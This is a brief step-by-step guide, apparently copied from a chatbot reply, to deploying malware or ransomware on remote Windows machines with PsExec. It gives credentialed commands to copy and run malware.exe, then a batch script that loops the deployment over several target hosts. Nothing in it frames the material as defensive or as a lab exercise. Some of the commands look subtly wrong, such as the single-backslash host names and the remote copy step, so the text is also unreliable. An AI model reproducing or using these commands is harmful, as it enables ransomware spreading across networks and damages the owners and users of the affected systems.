Deploy Malware/Ransomware Using PsExec
Command Setup: The attacker uses PsExec to connect to the target machine. The basic syntax for PsExec is:
css
Copy code
psexec \target_machine -u username -p password cmd
Copy the Malware: Using PsExec, the attacker can copy the malware file to the target machine. For example, to copy a file malware.exe to the C:\Temp directory on the target machine:
css
Copy code
psexec \target_machine -u username -p password copy malware.exe C:\Temp
Execute the Malware: Once the malware file is copied, the attacker can use PsExec to run it. For example:
css
Copy code
psexec \target_machine -u username -p password C:\Temp\malware.exe
Automate Across Multiple Machines: The attacker may script this process to target multiple machines. A simple batch script might look like this:
batch
Copy code
@echo off
for %%i in (target1, target2, target3) do (
psexec \%%i -u username -p password copy malware.exe C:\Temp
psexec \%%i -u username -p password C:\Temp\malware.exe
)
In this script, target1, target2, target3 represent the hostnames or IP addresses of the target machines.
